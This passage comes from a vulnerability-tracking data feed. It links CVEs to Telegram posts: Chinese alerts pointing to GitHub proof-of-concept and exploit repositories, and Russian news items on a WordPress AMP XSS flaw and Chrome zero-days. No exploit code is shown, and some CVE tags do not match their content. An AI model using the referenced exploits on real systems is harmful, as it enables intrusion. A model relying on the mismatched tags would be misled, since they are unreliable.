"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5243", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aScans an executable and determines if it was wrapped in an Electron version vulnerable to the Chromium vulnerability CVE-2023-4863/ CVE-2023-5217\nURL\uff1ahttps://github.com/OITApps/Find-VulnerableElectronVersion\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-29T01:03:36.000000Z"}, {"uuid": "fd85bd8e-0d86-4361-be49-5f08ca5b6e1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48123", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5843", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-54436 Exp\nURL\uff1ahttps://github.com/NHPT/CVE-2023-48123\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-11-17T03:01:24.000000Z"}, {"uuid": "21611b89-38c6-4b79-b717-5dd13e87b37d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6234", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aThis tool calculates tricky canonical huffman histogram for CVE-2023-4863.\nURL\uff1ahttps://github.com/caoweiquan322/NotEnough\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-12-19T01:37:29.000000Z"}, {"uuid": "6aa50c05-7f63-4a4a-a2aa-cfe3763b80fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4809", "type": "seen", "source": "Telegram/SPvdS4Ss7wGA3lyhvMSi31P7qqW9GH1yGt5WaJmOvjXwvYJ5", "content": "", "creation_timestamp": "2025-02-14T10:08:17.000000Z"}, {"uuid": "cbaee70d-9c64-4686-b8c7-984e5395a381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48983", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6352", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aPOC CVE-2023-48983\nURL\uff1ahttps://github.com/tristao-marinho/CVE-2023-48983\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2024-01-01T13:25:04.000000Z"}, {"uuid": "ba5fe67e-285c-4771-81ee-5026e0550c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48981", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6351", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aPOC CVE-2023-48981\nURL\uff1ahttps://github.com/tristao-marinho/CVE-2023-48981\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2024-01-01T13:14:33.000000Z"}, {"uuid": "52d3af83-d13e-43a3-85bc-4ef85dfb0f2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48223", "type": "seen", "source": "Telegram/Nu9QDXzNbve1iNgaEifpWzTHqsZ9MAX7l9lhuN92ZYucbK4", "content": "", "creation_timestamp": "2026-04-06T17:32:59.000000Z"}, {"uuid": "4cd1e26e-d451-4768-9991-011c77cacc41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48796", "type": "seen", "source": "Telegram/fTOBMv7D5zpTBBaUHbFjz2pzY1URcQ1ftQz_63c9sVqpNbo", "content": "", "creation_timestamp": "2026-04-09T15:17:27.000000Z"}, {"uuid": "00a1b577-6534-4d64-b0e4-b3110edde821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48321", "type": "seen", "source": "https://t.me/itsec_news/3744", "content": "\u200b\u26a1\ufe0f\u041f\u043b\u0430\u0433\u0438\u043d AMP \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b \u0441\u0430\u0439\u0442\u044b WordPress \u0432 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0440\u0435\u043a\u043b\u0430\u043c\u044b\n\n\ud83d\udcac \u041f\u043b\u0430\u0433\u0438\u043d Accelerated Mobile Pages (AMP) \u0434\u043b\u044f WordPress, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 100 000 \u0441\u0430\u0439\u0442\u0430\u0445, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u0440\u0438 \u043f\u043e\u0441\u0435\u0449\u0435\u043d\u0438\u0438 \u0441\u0430\u0439\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (Cross Site Scripting, XSS) \u0447\u0435\u0440\u0435\u0437 \u0448\u043e\u0440\u0442\u043a\u043e\u0434\u044b ( CVE-2023-48321 , CVSS: 6.5). \u0412 WordPress \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u043c\u043e\u0433\u0443\u0442 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u0442\u044c\u0441\u044f \u0441 \u0442\u0430\u043a\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0438\u043b\u0438 \u043e\u0447\u0438\u0441\u0442\u043a\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442 \u043b\u0438\u0448\u043d\u0438\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\u041e\u0447\u0438\u0441\u0442\u043a\u0430 \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0421\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044f) \u2013 \u044d\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u043b\u0438 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u043d\u0435\u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0442\u0438\u043f\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u0433\u0434\u0430 \u043f\u043b\u0430\u0433\u0438\u043d \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0442\u0435\u043a\u0441\u0442 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0435 \u0432\u0432\u043e\u0434\u0430, \u043d\u043e \u043d\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442 \u0434\u0440\u0443\u0433\u0438\u0435 \u0442\u0438\u043f\u044b \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438\u043b\u0438 ZIP-\u0444\u0430\u0439\u043b\u044b.\n\n\u0428\u043e\u0440\u0442\u043a\u043e\u0434\u044b \u0432 WordPress \u2014 \u044d\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u0433\u0438 ([\u043f\u0440\u0438\u043c\u0435\u0440]) \u0432 \u0442\u0435\u043a\u0441\u0442\u044b \u043f\u043e\u0441\u0442\u043e\u0432 \u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446. \u0428\u043e\u0440\u0442\u043a\u043e\u0434\u044b \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044e\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u043b\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432, \u0438 \u0443\u043f\u0440\u043e\u0449\u0430\u044e\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043f\u0430\u043d\u0435\u043b\u044c.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 \u0441\u0430\u0439\u0442 \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0448\u043e\u0440\u0442\u043a\u043e\u0434\u043e\u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u0447\u0442\u043e \u043c\u043e\u0433\u043b\u043e \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0438\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0443 \u0440\u0435\u043a\u043b\u0430\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0442\u043e\u0433\u043e, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u0441\u0435\u0449\u0430\u044e\u0442 \u0441\u0430\u0439\u0442.\n\n\u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Patchstack \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 1.0.89. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043e 1.0.88.1 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0443\u044e \u0441\u0430\u043d\u0430\u0446\u0438\u044e \u0438 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Wordfence, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress, \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043f\u0440\u0430\u0432 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430 (contributor) \u0441\u0430\u0439\u0442\u0430 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043e\u0432\u0435\u0442\u0443\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.0.89 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435 \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-11-30T17:17:13.000000Z"}, {"uuid": "d20f5940-bcae-4772-a645-3b246934fd36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/itsec_news/3741", "content": "\u200b\u26a1\ufe0f\u042d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Google Chrome \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0448\u0435\u0441\u0442\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 2023 \u0433\u043e\u0434\u0443\n\n\ud83d\udcac Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f Chrome, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2023-6345, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0439 \u0431\u0430\u0433 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 Skia, \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 2D \u0433\u0440\u0430\u0444\u0438\u043a\u0438. \u0415\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0411\u0435\u043d\u0443\u0430 \u0421\u0435\u0432\u0435\u043d\u0441 \u0438 \u041a\u043b\u0435\u043c\u0430\u043d \u041b\u0435\u0441\u0438\u043d\u044c \u0438\u0437 \u0413\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 Google (TAG) 24 \u043d\u043e\u044f\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430.\n\nGoogle \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b, \u0447\u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f CVE-2023-6345, \u043d\u043e \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u043b\u0438 \u0443\u0433\u0440\u043e\u0437\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430 Google \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u043b \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 Skia (CVE-2023-2136), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c. \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e CVE-2023-6345 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u043f\u0430\u0442\u0447.\n\nCVE-2023-2136 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Chrome, \u0432\u043a\u043b\u044e\u0447\u0430\u044f:\n\nCVE-2023-2033 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8,\nCVE-2023-2136 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.6) - \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 Skia,\nCVE-2023-3079 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8,\nCVE-2023-4762 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8,\nCVE-2023-4863 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 WebP,\nCVE-2023-5217 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 vp8 \u0432 libvpx.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 Chrome 119.0.6045.199/.200 \u0434\u043b\u044f Windows \u0438 119.0.6045.199 \u0434\u043b\u044f macOS \u0438 Linux, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b. \u0422\u0430\u043a\u0436\u0435 \u0441\u043e\u0432\u0435\u0442\u0443\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 Chromium, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Microsoft Edge, Brave, Opera \u0438 Vivaldi, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u043d\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-11-30T11:12:53.000000Z"}, {"uuid": "0f68b81f-b217-4716-998d-c166847dd7fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/itsec_news/3327", "content": "\u200b\u26a1\ufe0fGoogle \u043d\u0443\u043b\u0451\u0432\u043a\u0430: \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0435 \u041f\u041e \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 \u043d\u043e\u0432\u0443\u044e \u0434\u044b\u0440\u0443 Chrome.\n\n\ud83d\udcac \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Google \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0431\u043e\u0440\u0435\u0442\u0441\u044f \u0441 \u0443\u0433\u0440\u043e\u0437\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c Chrome. \u041e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 